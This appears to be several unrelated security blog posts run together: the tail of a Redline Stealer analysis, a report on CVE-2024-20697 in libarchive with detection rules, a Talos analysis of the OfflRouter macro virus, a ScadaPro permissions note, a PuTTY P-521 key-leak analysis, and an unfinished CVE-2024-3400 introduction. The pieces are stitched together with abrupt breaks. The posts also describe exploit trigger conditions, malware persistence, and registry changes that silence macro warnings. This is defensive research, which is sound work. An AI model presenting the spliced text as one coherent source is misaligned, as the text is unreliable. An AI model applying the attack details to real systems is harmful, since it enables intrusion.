  • The loop ends with assigning the decrypted values back to var_0_26.
    
    

• • We place the breakpoint on line 1174 and watch the values of var_0_26.
    

• • As we hit the breakpoint multiple times, we see more encoded data decrypted in the watch window.
    

• We can see decrypted strings like Tamper Detected! In var_0_26

Loading luajit bytcode:

Before loading the luajit bytecode, a new state is created. Each Lua state maintains its global environment, stack, and set of loaded libraries, providing isolation between different instances of Lua code.

• In this blog, we saw the various techniques threat actors use to infiltrate user systems and exfiltrate their data.

Indicators of Compromise

The post Redline Stealer: A Novel Approach appeared first on McAfee Blog.

In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Guy Lederfein and Jason McFadyen of the Trend Micro Research Team detail a recently patched remote code execution vulnerability in Microsoft Windows. This bug was originally discovered by the Microsoft Offensive Research & Security Engineering team. Successful exploitation could result in arbitrary code execution in the context of the application using the vulnerable library. The following is a portion of their write-up covering CVE-2024-20697, with a few minimal modifications.

An integer overflow vulnerability exists in the Libarchive library included in Microsoft Windows. The vulnerability is due to insufficient bounds checks on the block length of a RARVM filter used for Intel E8 preprocessing, included in the compressed data of a RAR archive.

A remote attacker could exploit this vulnerability by enticing a target user into extracting a crafted RAR archive. Successful exploitation could result in arbitrary code execution in the context of the application using the vulnerable library.

The Vulnerability

The RAR file format supports data compression, error recovery, and multiple volume spanning. Several versions of the RAR format exist: RAR1.3, RAR1.5, RAR2, RAR3, and the most recent version, RAR5. Different compression and decompression algorithms are used for different versions of RAR.

The following describes the RAR format used by versions 1.5, 2.x, and 3.x. A RAR archive consists of a series of variable-length blocks.

Each block begins with a header. The following table is the common structure of a RAR block header:

The RarBlock Marker is the first block of a RAR archive and serves as the signature of a RAR formatted file:

This block always contains the following byte sequence at the beginning of every RAR file:

           0x52 0x61 0x72 0x21 0x1A 0x07 0x00 (ASCII: "Rar!\x1A\x07\x00")

The ArcHeader is the second block in a RAR file and has the following structure:

The ArcHeader block is followed by one or more FileHeader blocks. These blocks have the following structure:

Note that the above offsets are relative to the existence of the optional fields.

The EndBlock block will signify the end of the RAR archive. This block has the following structure:

For each FileHeader block in the RAR archive, if the Method field is not set to "Store" (0x30), then the Data field will contain the compressed file data. The method of decompression depends on the RAR version used to compress the data. The RAR version needed to extract the compressed data is recorded in the UnpVer field of the FileHeader block.

Of relevance to this report is the RAR extraction method used by RAR format version 2.9 (a.k.a. RAR4), which is used when the UnpVer field is set to 29. The compressed data may be compressed either using the Lempel-Ziv (LZ) algorithm or using Prediction by Partial Matching (PPM) compression. This report will not describe in full detail the extraction algorithm, but only summarize the relevant parts for understanding the vulnerability. For a reference implementation of the extraction algorithm, see the Unpack::Unpack29() function in the UnRAR source code.

When the libarchive library attempts to extract the contents of a file from a RAR archive, if the file data is compressed (i.e. the Method field is not set to "Store"), the function read_data_compressed() will be called to extract the compressed data. The compressed data is composed of multiple blocks, each of which can be compressed using the LZ algorithm (denoted by the first bit of the block set to 0) or using PPM compression (denoted by the first bit of the block set to 1). Initially, the function parse_codes() will be called to decode the tables necessary to extract the file data. If a block of data compressed using the LZ algorithm is encountered, the expand() function will be called to decompress the data. In the expand() function, symbols are read from the compressed data by calling read_next_symbol() in a loop. In the function read_next_symbol(), the symbol will be decoded according to the Huffman table decoded in function parse_codes().

If the decoded symbol is 257, the function read_filter() will be called to read a RARVM filter, which has the following structure:

Note that the above offsets are relative to the existence of the optional fields.

The calculation of the size of the Code field is as follows: If the lowest 3 bits of the Flags field (will be referred to as LENGTH) are less than 6, the code size is (LENGTH + 1). If LENGTH is set to 6, the code size is (LengthExt1 + 7). If LENGTH is set to 7, the code size is (LengthExt1 << 8) | LengthExt2. After the code length is calculated and the code itself is copied into a buffer, the code, its length, and the filter flags are sent to the parse_filter() function to parse the code section.

Within the code section, numbers are parsed by calling the function membr_next_rarvm_number(). This function reads 2 bits, and according to their value, determines how many bits to read to parse the value. If the first 2 bits are 0, 4 value bits will be read; if they are 1, 8 value bits will be read; if they are 2, 16 value bits will be read; and if they are 3, 32 value bits will be read.

Function parse_filter() will parse the code section, which has the following structure:

Note that if the READ_REGISTERS flag is not set, the registers will be initialized, such that the 5th register is set to the block length, which is either read from the code section (if the READ_BLOCK_LENGTH flag is set), or carried over from the block length of the previous filter.

After these fields are parsed in parse_filter(), the ByteCode field and its length are sent to the function compile_program(). In this function, the first byte of the bytecode is verified to be equal to the XOR of all other bytes in the bytecode. If true, it will set the fingerprint field of the rar_program_code struct to the value of the CRC-32 algorithm run on the full bytecode, combined with the bytecode length shifted left 32 bits.

Back in the function parse_filter(), after all fields are calculated for the filter, therar_filter struct will be initialized by calling create_filter() with the rar_program_code struct containing the fingerprint field and the register values calculated. These values will be set to the prog field and the initialregisters fields of the rar_filter struct, respectively.

Once processing of the filter is done, function run_filters() is called to run the parsed filter. This function initializes the vm field of the rar_filters struct with a structure of type rar_virtual_machine. This structure contains a registers field, which is an array of 8 integers, and a memory field of size 0x40004. Then, each filter is executed by calling execute_filter(). If the fingerprint field of the rar_program_code struct associated with the executed filter is equal to either 0x35AD576887 or 0x393CD7E57E, the execute_filter_e8() function is called. This function reads the block length from the 5th field of the initialregisters array. Then, a loop is run for replacing instances of 0xE8 and/or 0xE9 within the VM memory, with the block length used as the loop exit condition.

An integer overflow vulnerability exists in the Libarchive library included in Microsoft Windows. The vulnerability is due to insufficient bounds checks on the block length of a RARVM filter used for Intel E8 preprocessing, included in the compressed data of a RAR archive. Specifically, if the archive contains a RARVM filter whose fingerprint field is calculated as either 0x35AD576887 or 0x393CD7E57E, it will be executed by calling execute_filter_e8(). If the 5th register of the filter is set to a block length of 4, the loop condition in this function, which is set to the block length minus 5, will overflow to 0xFFFFFFFF. Since the VM memory has a size of 0x40004, this will result in memory accesses that are out of the bounds of the heap-based buffer representing the VM memory.

A remote attacker could exploit this vulnerability by enticing a target user into extracting a crafted RAR archive, containing a RARVM filter that has its 5th register set to 4. Successful exploitation could result in arbitrary code execution in the context of the application using the vulnerable library.

Notes:

• All multi-byte integers are in little-endian byte order.
• All offsets and sizes are in bytes unless otherwise specified.
• Since there is no official documentation of the RAR4 format, the description is based on the UnRAR and libarchive source code. Field names are either copied from source code or given based on functionality.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the common ports where a RAR archive might be sent, such as FTP, HTTP, SMTP, IMAP, SMB, and POP3.

The detection device must look for the transfer of RAR files and be able to parse the RAR file format. Currently, there is no official documentation of the RAR file format. This detection guidance is based on the source code for extracting RAR archives provided by the UnRAR program and the libarchive library.

The common structure of a RAR block header is detailed above. The detection device must first look for a RarBlock Marker, which is the first block of a RAR archive and serves as the signature of a RAR formatted file:

The detection device can identify this block by looking for the following byte sequence:

          0x52 0x61 0x72 0x21 0x1A 0x07 0x00 ("Rar!\x1A\x07\x00")

If found, the device must then identify the ArcHeader, which is the second block in a RAR file and is detailed above. The ArcHeader block is followed by one or more FileHeader blocks, whose structure is also detailed above. Note that the above offsets are relative to the existence of the optional fields.

The detection device must parse each FileHeader block and inspect its Method field. If the value of the Method field is greater than 0x30, the detection device must inspect the Data field of the FileHeader block, containing the compressed file data. The compressed data may be compressed either using the Lempel-Ziv (LZ) algorithm or using Prediction by Partial Matching (PPM) compression. This detection guidance will not describe in full detail the extraction algorithm. For a reference implementation of the extraction algorithm, see the Unpack::Unpack29() function in the UnRAR source code.

The compressed data is composed of multiple blocks, each of which can be compressed using the LZ algorithm (denoted by the first bit of the block set to 0) or using PPM compression (denoted by the first bit of the block set to 1). The detection device must extract each block according to the algorithm used to compress it. If a block compressed using the LZ algorithm is encountered, the detection device must decode the Huffman tables from the beginning of the compressed data. The detection device must then iterate over the remaining compressed data and decode each symbol based on the generated Huffman tables. If the symbol 257 is encountered, the following data must be parsed as a RARVM filter, which has the following structure:

Note that the above offsets are relative to the existence of the optional fields.

The detection device must then calculate the size of the Code field. The calculation of the size of the Code field is as follows: If the lowest 3 bits of the Flags field (will be referred to as LENGTH) are less than 6, the code size is (LENGTH + 1). If LENGTH is set to 6, the code size is (LengthExt1 + 7). If LENGTH is set to 7, the code size is (LengthExt1 << 8) | LengthExt2. After the size of the Code field is calculated, the Code field must be parsed according to the following structure:

All numerical fields within this structure (FilterNum, BlockStart, BlockLength, register values, and ByteCodeLen) must be read according to the algorithm implemented in the RarVM::ReadData() function of the UnRAR source code. The algorithm reads 2 bits of data, signifying the number of bits of data containing the numerical value. Note that some of the fields in this structure are optional and depend on flags set in the Flags field of the RARVM filter structure.

After extracting all necessary fields, the detection device must check for the following conditions:

• The CRC-32 checksum of the ByteCode field is 0xAD576887 and the ByteCodeLen field is 0x35 OR the CRC-32 checksum of the ByteCode field is 0x3CD7E57E and the ByteCodeLen field is 0x39.
• The READ_REGISTERS flag is set and the value of the 5th register of the Registers field is set to 4 OR the READ_BLOCK_LENGTH flag is set and the value of the BlockLength field is set to 4. If both these conditions are met, the traffic should be considered suspicious. An attack exploiting this vulnerability is likely underway.

Notes:

• All multi-byte integers are in little-endian byte order.
• All offsets and sizes are in bytes unless otherwise specified.

Conclusion

Microsoft patched this vulnerability in January 2024 and assigned it CVE-2024-20697. While they did not recommend any mitigating factors, there are some additional measures you can take to help protect from this bug being exploited. This includes not extracting RAR archive files from untrusted sources and filtering traffic using the guidance provided in the section “Detection Guidance” section of this blog. Still, it is recommended to apply the vendor patch to completely address this issue.

Special thanks to Guy Lederfein and Jason McFadyen of the Trend Micro Research Team for providing such a thorough analysis of this vulnerability. For an overview of Trend Micro Research services please visit http://go.trendmicro.com/tis/.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

• During a threat-hunting exercise, Cisco Talos discovered documents with potentially confidential information originating from Ukraine. The documents contained malicious VBA code, indicating they may be used as lures to infect organizations. 
• The results of the investigation have shown that the presence of the malicious code is due to the activity of a rare multi-module virus that's delivered via the .NET interop functionality to infect Word documents. 
• The virus, named OfflRouter, has been active in Ukraine since 2015 and remains active on some Ukrainian organizations’ networks, based on over 100 original infected documents uploaded to VirusTotal from Ukraine and the documents’ upload dates. 
• We assess that OfflRouter is the work of an inventive but relatively inexperienced developer, based on the unusual choice of the infection mechanism, the apparent lack of testing and mistakes in the code. 
• The author’s design choices may have limited the spread of the virus to very few organizations while allowing it to remain active and undetected for a long period of time. 

As a part of a regular threat hunting exercise, Cisco Talos monitors files uploaded to open-source repositories for potential lures that may target government and military organizations. Lures are created from legitimate documents by adding content that will trigger malicious behavior and are often used by threat actors. 

For example, malicious document lures with externally referenced templates written in Ukrainian language are used by the Gamaredon group as an initial infection vector. Talos has previously discovered military theme lures in Ukrainian and Polish, mimicking the official PowerPoint and Excel files, to launch the so-called “Picasso loader,” which installs remote access trojans (RATs) onto victims' systems. 

In July 2023, threat actors attempted to use lures related to the NATO summit in Vilnius to install the Romcom remote access trojan. These are just some of the reasons why hunting for document lures is vital to any threat intelligence operation.  

In February 2024, Talos discovered several documents with content that seems to originate from Ukrainian local government organizations and the Ukrainian National Police uploaded to VirusTotal. The documents contained VBA code to drop and run an executable with the name `ctrlpanel.exe`, which raised our suspicion and prompted us to investigate further.   

Eventually, we discovered over 100 uploaded documents with potentially confidential information about government and police activities in Ukraine. The analysis of the code showed unexpected results – instead of lures used by advanced actors, the uploaded documents were infected with a multi-component VBA macro virus OfflRouter, created in 2015. The virus is still active in Ukraine and is causing potentially confidential documents to be uploaded to publicly accessible document repositories.   

Attribution 

Although the virus is active in Ukraine, there are no indications that it was created by an author from that region. Even the debugging database string used to name the virus “E:\Projects\OfflRouter2\OfflRouter2\obj\Release\ctrlpanel.pdb” present in the ctrlpanel.exe does not point to a non-English speaker. 

From the choice of the infection mechanism, VBA code generation, several mistakes in the code, and the apparent lack of testing, we estimate that the author is an inexperienced but inventive programmer.  

The choices made during the development limited the virus to a specific geographic location and allowed it to remain active for almost 10 years. 

OfflRouter has been confined to Ukraine 

According to earlier research by the Slovakian government CSIRT (Computer Security Incident Response Team) team, some infected documents were already publicly available on the Ukrainian National Police website in 2018.  

The newly discovered infected documents are written in Ukrainian, which may have contributed to the fact that the virus is rarely seen outside Ukraine. Since the malware has no capabilities to spread by email, it can only be spread by sharing documents and removable media, such as USB memory sticks with infected documents. The inability to spread by email and the initial documents in Ukrainian are additional likely reasons the virus stayed confined to Ukraine.  

The virus targets only documents with the filename extension .doc, the default extension for the OLE2 documents, and it will not try to infect other filename extensions. The default Word document filename extension for the more recent Word versions is .docx, so few documents will be infected as a result.  

This is a possible mistake by the author, although there is a small probability that the malware was specifically created to target a few organizations in Ukraine that still use the .doc extension, even if the documents are internally structured as Office Open XML documents.  

Other issues prevented the virus from spreading more successfully and most of them are found in the executable module, ctrlpanel.exe, dropped and executed by the VBA part of the code.  

When the virus is run, it attempts to set the value Ctrlpanel of the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Run so that it runs on the Windows boot. An internal global string _RootDir is used as the value, however, the string only contains the folder where the ctrlpanel.exe is found and not its full path, which makes this auto-start measure fail.  

One interesting concept in the .NET module is the entire process of infecting documents. As a part of the infection process, the VBA code is generated by combining the code taken from the hard-coded strings in the module with the encoded bytes of the ctrlpanel.exe binary. This makes the generated code the same for every infection cycle and rather easy to detect. Having a VBA code generator in the .NET code has more potential to make the infected documents more difficult to detect.  

Once launched, the executable module stays active in memory and uses threading timers to execute two background worker objects, the first one tasked with the infection of documents and the second one with checking for the existence of the potential plugin modules for the .NET module.  

The infection background worker enumerates the mounted drives and attempts to find documents to infect by using the Directory.Getfiles function with the string search pattern “*.doc” as a parameter.  

One of the parameters of the function is the SearchOption parameter which specifies the option to search in subdirectories or only the in the root folder. For fixed drives, the module chooses to search only the root folder, which is an unusual choice, as it is quite unlikely that the root folder will hold any documents to infect.  

For removable drives, the module also searches all subfolders, which likely makes it more successful. Finally, it checks the list of recent documents in Word and attempts to infect them, which contributes to the success of the virus spreading to other documents on fixed drives.  

OfflRouter VBA code drops and executes the main executable module 

The VBA part of the virus runs when a document is opened, provided macros are enabled, and it contains code to drop and run the executable module ctrlpanel.exe.

 The beginning of the macro code defines a function that checks if the file already exists and if it does not, it opens it for writing and calls functions CheckHashX, which at first glance looks like containing junk code to reset the value of the variable `Y`. However, the variable Y is defined as a private property with an overridden setter function, which converts the variable value assignment into appending the supplied value to the end of the opened executable module C:\Users\Public\ctrlpanel.exe. Every code line that looks like an assignment appends the assigned value to the end of the file, and that is how the executable module is written.  

This technique is likely implemented to make the detection of the embedded module a bit more difficult, as the executable mode is not stored as a contiguous block, but as a sequence of integer values that look like being assigned to a variable.  

To a more experienced analyst, this code looks like garbage code generated by polymorphic engines, and it raises the question of why the author has not extended the code generation to pseudo-randomize the code.  

The virus is unique, as it consists of VBA and executable modules with the infection logic contained in the PE executable .NET module.  

Ctrlpanel.exe .NET module 

The unique infection method used by ctrlpanel.exe is through the Office Interop classes of .NET VBProject interface Microsoft.Vbe.Interop and the Microsoft.Office.Interop.Word class that exposes the functionality of the Word application.  

The Interop.Word class is used to instantiate a Document class which allows access to the VBA macro code and the addition of the code to the target document file using the standard Word VBA functions.  

When the .NET module ctrlpanel.exe is launched, it attempts to open a mutex ctrlpanelapppppp to check if another module instance is already running on the system. If the mutex already exists, the process will terminate.  

Suppose no other module instances are running. In that case, ctrlpanel.exe creates the mutex named “ctrlpanelapppppp”, attempts to set the registry run key so the module runs on system startup, and finally initializes two timers to run associated background timer callbacks – VBAClass_Timer_Callback and PluginClass_TimerCallback, implemented to start the Run function of the classes VBAClass and PluginClass, respectively. 

The VBAClass_Timer_Callback will be called one second after the creation of VBAClass_Timer timer and the PluginClass_Timer_Callback three seconds after the creation of the PluginClass_Timer.  

The full functionality of the executable module is implemented by two classes, VBAClass and PluginClass, specifically within their respective functions Backgroundworker_DoWork. 

VBAClass is tasked with generating VBA code and infecting other Word documents 

 The background worker function runs in an infinite loop and contains two major parts, the first is tasked with the document infection and the second with finding the documents to infect, the logic we already described above.  

The infection iterates through a list of the document candidates to infect and uses an innovative method to check the document infection marker to avoid multiple infection processes – the function checks the document creation metadata, adds the creation times, and checks the value of the sum. If the sum is zero, the document is considered already infected.  

If the document to be infected is created in the Word 97-2003 binary format (OLE2), the document will be saved with the same name in Microsoft Office Open XML format with enabled macros (DOCX).  

The infection uses the traditional VBA class infection routine. It accesses the Visual Basic code module of the first VBComponent and then adds the code generated by the function MyScript to the document’s code module. After that, the infected document is saved.  

The code generation function MyScript contains static strings and instructions to dynamically generate code that will be added to infected documents. It opens its own executable ctrlpanel.exe for reading and reads the file 32-bit by 32-bit value which gets converted to decimal strings that can be saved as VBA code. For every repeating 32-bit value, most commonly for zero, the function creates a for loop to write the repeating value to the dropped file. The purpose is unclear, but it is likely to achieve a small saving in the size of the code and compress it.  

For every 4,096 bytes, the code generates a new CheckHashX subroutine to break the code into chunks. The purpose of this is not clear.  

 After the file is infected, the background worker adds the infection marker file by setting the values of hour, minute, second, and millisecond creation times to zero.

PluginClass is tasked with discovering and loading plugins 

Ctrlpanel.exe can also search for potential plugins present on removable media, which is very unusual for simple viruses that infect documents. This may indicate that the author’s aims were a bit more ambitious than the simple VBA infection. 

Searching for the plugins in removable drives is unusual as it requires the plugins to be delivered to the system on a physical media, such as a USB drive or a CD-ROM. The plugin loader searches for any files with the filename extension .orp, decodes its name using Base64 decoding function, decodes the file content using Base64 decoding, copies the file into the c:\users\public\tools folder with the previously decoded name and the extension .exe and finally executes the plugin. 

If the plugins are already present on an infected machine, ctrlpanel.exe will try to encode them using Base64 encoding, copy them to the root of the attached removable media with the filename extension “.orp” and set the newly created file attributes to the values system and hidden so that they are not displayed by default by Windows File Explorer. 

It is unclear if the initial vector is a document or the executable module ctrlpanel.exe 

The advantage of the two-module virus is that it can be spread as a standalone executable or as an infected document. It may even be advantageous to initially spread as an executable as the module can run standalone and set the registry keys to allow execution of the VBA code and changing of the default saved file formats to doc before infecting documents. That way, the infection may be a bit stealthier.  

The following registry keys are set: 
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\AccessVBOM (to allow access to Visual Basic Object Model by the external applications) 
  
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings (to disable warnings about potential Macro code in the infected documents) 
  
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options\DefaultFormat (to set the default format to DOC) 

Coverage 

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. 

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.  

Cisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. 

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

Additional protection with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.  

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are  

The following ClamAV signatures detect malware artifacts related to this threat: 

Doc.Malware.Valyria-6714124-0 

Win.Virus.OfflRouter-10025942-0 

IOCs 

IOCs for this research can also be found at our GitHub repository here. 

10e720fbcf797a2f40fbaa214b3402df14b7637404e5e91d7651bd13d28a69d8 - .NET module ctrlpanel.exe  

Infected documents  

2260989b5b723b0ccd1293e1ffcc7c0173c171963dfc03e9f6cd2649da8d0d2c 

2b0927de637d11d957610dd9a60d11d46eaa3f15770fb474067fb86d93a41912 

802342de0448d5c3b3aa6256e1650240ea53c77f8f762968c1abd8c967f9efd0 

016d90f337bd55dfcfbba8465a50e2261f0369cd448b4f020215f952a2a06bce 

Mutex 

ctrlpanelapppppp 

CWE-284 IMPROPER ACCESS CONTROL:

The entire parent directory - C:\ScadaPro and its sub-directories and files are configured by default to allow users, including unprivileged users, to write or overwrite files.

Measuresoft recommends that users manually reconfigure the vulnerable directories so that they are not writable by everyone.

This article provides a technical analysis of CVE-2024-31497, a vulnerability in PuTTY discovered by Fabian Bäumer and Marcus Brinkmann of the Ruhr University Bochum.

PuTTY, a popular Windows SSH client, contains a flaw in its P-521 ECDSA implementation. This vulnerability is known to affect versions 0.68 through 0.80, which span the last 7 years. This potentially affects anyone who has used a P-521 ECDSA SSH key with an affected version, regardless of whether the ECDSA key was generated by PuTTY or another application. Other applications that utilise PuTTY for SSH or other purposes, such as FileZilla, are also affected.

An attacker who compromises an SSH server may be able to leverage this vulnerability to compromise the user’s private key. Attackers may also be able to compromise the SSH private keys of anyone who used git+ssh with commit signing and a P-521 SSH key, simply by collecting public commit signatures.

Background

Elliptic Curve Digital Signature Algorithm (ECDSA) is a cryptographic signing algorithm. It fulfils a similar role to RSA for message signing – an ECDSA public and private key pair are generated, and signatures generated with the private key can be validated using the public key. ECDSA can operate over a number of different elliptic curves, with common examples being P-256, P-384, and P-521. The numbers represent the size of the prime field in bits, with the security level (i.e. the comparable key size for a symmetric cipher) being roughly half of that number, e.g. P-256 offers roughly a 128-bit security level. This is a significant improvement over RSA, where the key size grows nonlinearly and a 3072-bit key is needed to achieve a 128-bit security level, making it much more expensive to compute. As such, RSA is largely being phased out in favour of EC signature algorithms such as ECDSA and EdDSA/Ed25519.

In the SSH protocol, ECDSA may be used to authenticate users. The server stores the user’s ECDSA public key in the known users file, and the client signs a message with the user’s private key in order to prove the user’s identity to that server. In a well-implemented system, a malicious server cannot use this signed message to compromise the user’s credentials.

Vulnerability Details

ECDSA signatures are (normally) non-deterministic and rely on a secure random number, referred to as a nonce (“number used once”) or the variable k in the mathematical description of ECDSA, which must be generated for each new signature. The same nonce must never be used twice with the same ECDSA key for different messages, and every single bit of the nonce must be completely unpredictable. An unfortunate property of ECDSA is that the private key can be compromised if a nonce is reused with the same key and a different message, or if the nonce generation is predictable.

Ordinarily the nonce is generated with a cryptographically secure pseudorandom number generator (CSPRNG). However, PuTTY’s implementation of DSA dates back to September 2001, around a month before Windows XP was released. Windows 95 and 98 did not provide a CSPRNG and there was no reliable way to generate cryptographically secure numbers on those operating systems. The PuTTY developers did not trust any of the available options, recognising that a weak CSPRNG would not be sufficient due to DSA’s strong reliance on the security of the random number generator. In response they chose to implement an alternative nonce generation scheme. Instead of generating a random number, their scheme utilised SHA512 to generate a 512-bit number based on the private key and the message.

The code comes with the following comment:

* [...] we must be pretty careful about how we
* generate our k. Since this code runs on Windows, with no
* particularly good system entropy sources, we can't trust our
* RNG itself to produce properly unpredictable data. Hence, we
* use a totally different scheme instead.
*
* What we do is to take a SHA-512 (_big_) hash of the private
* key x, and then feed this into another SHA-512 hash that
* also includes the message hash being signed. That is:
*
*   proto_k = SHA512 ( SHA512(x) || SHA160(message) )
*
* This number is 512 bits long, so reducing it mod q won't be
* noticeably non-uniform. So
*
*   k = proto_k mod q
*
* This has the interesting property that it's _deterministic_:
* signing the same hash twice with the same key yields the
* same signature.
*
* Despite this determinism, it's still not predictable to an
* attacker, because in order to repeat the SHA-512
* construction that created it, the attacker would have to
* know the private key value x - and by assumption he doesn't,
* because if he knew that he wouldn't be attacking k!

This is a clever trick in principle: since the attacker doesn’t know the private key, it isn’t possible to predict the output of SHA512 even if the message is known ahead of time, and thus the generated number is unpredictable. Since SHA512 is a cryptographically secure hash, it is computationally infeasible to guess any bit of its output until you compute the hash. When the PuTTY developers implemented ECDSA, they re-used this DSA implementation, resulting in a somewhat odd deterministic implementation of ECDSA where signing the same message twice results in the same nonce and signature. This is certainly unusual, but it does not count as nonce reuse in a compromising sense – you’re essentially just redoing the same maths and getting the same result.

Unfortunately, when the PuTTY developers repurposed this DSA implementation for ECDSA in 2017, they made an oversight. Prior usage for DSA did not utilise keys larger than 512 bits, but P-521 in ECDSA needs 521 bits. Recall that ECDSA is only secure when every single bit of the key is unpredictable. In PuTTY’s implementation, though, they only generate 512 bits of random nonce using SHA512, leaving the remaining 9 bits as zero. This results in a nonce bias that can be exploited to compromise the private key. If an attacker has access to the public key and around 60 different signatures they can recover the private key. A detailed description of this key recovery attack can be found in this cryptopals writeup.

Had the PuTTY developers extended their solution to fill all 521 bits of the key, e.g. with one additional hash function call to fill the last 9 bits, their deterministic nonce generation scheme would have remained secure. Given the constraint of not having access to a CSPRNG, it is actually a clever solution to the problem. RFC6979 was later released as a standard method for implementing deterministic ECDSA signatures, but this was not implemented by PuTTY as their implementation predated that RFC.

Windows XP, released a few months after PuTTY wrote their DSA implementation, introduced a CSPRNG API, CryptGenRandom, which can be used for standard non-deterministic implementations of ECDSA. While one could postulate that the PuTTY developers might have used this API had they written their DSA implementation just a few months later, the developers have made several statements about their distrust in Windows’ random number generator APIs of that era and their preference for deterministic implementations. This distrust may have been founded at the time, but such concerns are certainly unfounded on modern versions of Windows.

Impact

This vulnerability exists specifically in the P-521 ECDSA signature generation code in PuTTY, so it only affects P-521 and not other curves such as P-256 and P-384. However, since it is the signature generation which is affected, any P-521 key that was used with a vulnerable version of PuTTY may be compromised regardless of whether that key was generated by PuTTY or something else. It is the signature generation that is vulnerable, not the key generation. Other implementations of P-521 in SSH or other protocols are not affected; this vulnerability is specific to PuTTY.

An attacker cannot leverage this vulnerability by passively sniffing SSH traffic on the network. The SSH protocol first creates a secure tunnel to the server, in a similar manner to connecting to a HTTPS server, authenticating the server by checking the server key fingerprint against the cached fingerprint. The server then prompts the client for authentication, which is sent through this secure tunnel. As such, the ECDSA signatures are encrypted before transmission in this context, so an attacker cannot get access to the signatures needed for this attack through passive network sniffing.

However, an attacker who performs an active man-in-the-middle attack (e.g. via DNS spoofing) to redirect the user to a malicious SSH server would be able to capture signatures in order to exploit this vulnerability if the user ignores the SSH key fingerprint change warning. Alternatively, an attacker who compromised an SSH server could also use it to capture signatures to exploit this vulnerability, then recover the user’s private key in order to compromise other systems. This also applies to other applications (e.g. FileZilla, WinSCP, TortoiseGit, TortoiseSVN) which leverage PuTTY for SSH functionality.

A more concerning issue is the use of PuTTY for git+ssh, which is a way of interacting with a git repository over SSH. PuTTY is commonly used as an SSH client by development tools that support git+ssh. Users can digitally sign git commits with their SSH key, and these signatures are published alongside the commit as a way of authenticating that the commit was made by that user. These commit logs are publicly available on the internet, alongside the user’s public key, so an attacker could search for git repositories with P-521 ECDSA commit signatures. If those signatures were generated by a vulnerable version of PuTTY, the user’s private key could be compromised and used to compromise the server or make fraudulent signed commits under that user’s identity.

Fortunately, users who use P-521 ECDSA SSH keys, git+ssh via PuTTY, and commit signing represent a very small fraction of the population. However, due to the law of large numbers, there are bound to be a few out there who end up being vulnerable to this attack. In addition, informal observations suggest that users may be more likely to select P-521 when offered a choice of P-256, P-384, or P-521, likely due to the perception that the larger key size offers more security. Somewhat ironically, P-521 ended up being the only curve implementation in PuTTY that was insecure.

Remediation

The PuTTY developers have resolved this issue by reimplementing the deterministic nonce generation using the approach described in the RFC6979 standard.

Any P-521 keys that have ever been used with any of the following software should be treated as compromised:

• PuTTY 0.68 – 0.80
• FileZilla 3.24.1 – 3.66.5
• WinSCP 5.9.5 – 6.3.2
• TortoiseGit 2.4.0.2 – 2.15.0
• TortoiseSVN 1.10.0 – 1.14.6

Users should update their software to the latest version.

If a P-521 key has ever been used for git commit signing with development tools on Windows, it is advisable to assume that the key may be compromised and change it immediately.

References

• https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-p521-bias.html
• https://www.openwall.com/lists/oss-security/2024/04/15/6
• https://git.tartarus.org/?p=simon/putty.git;a=commitdiff;h=c193fe9848f50a88a4089aac647fecc31ae96d27
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-31497
• https://cryptopals.com/sets/8/challenges/62.txt

The post Flaw in PuTTY P-521 ECDSA signature generation leaks SSH private keys appeared first on LRQA Nettitude Labs.

Welcome to April 2024, again. We’re back, again.

Over the weekend, we were all greeted by now-familiar news—a nation-state was exploiting a “sophisticated” vulnerability for full compromise in yet another enterprise-grade SSLVPN device.

We’ve seen all the commentary around the certification process of these devices for certain .GOVs - we’re not here to comment on that, but sounds humorous.

We would comment on the current state of SSLVPN devices, but like jokes about our PII being stolen each week, the news of yet another SSLVPN RCE is getting old.

On Friday 12th April, the news of CVE-2024-3400 dropped. A vulnerability that “based on the resources required to develop and exploit a vulnerability of this nature” was likely used by a “highly capable threat actor”.

Exciting.

Here at watchTowr, our job is to tell the organisations we work with whether appliances in their attack surface are vulnerable with precision. Thus, we dived in.

If you haven’t read Volexity’s write-up yet, we’d advise reading it first for background information. A friendly shout-out to the team @ Volexity - incredible work, analysis and a true capability that we as an industry should respect. We’d love to buy the team a drink(s).

CVE-2024-3400

We start with very little, and as in most cases are armed with a minimal CVE description:

A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks 
PAN-OS software for specific PAN-OS versions and distinct feature configurations may
enable an unauthenticated attacker to execute arbitrary code with root privileges on
the firewall.
Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by 
this vulnerability.

What is omitted here is the pre-requisite that telemetry must be enabled to achieve command injection with this vulnerability. From Palo Alto themselves:

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls 
configured with GlobalProtect gateway or GlobalProtect portal (or both) and device
telemetry enabled.

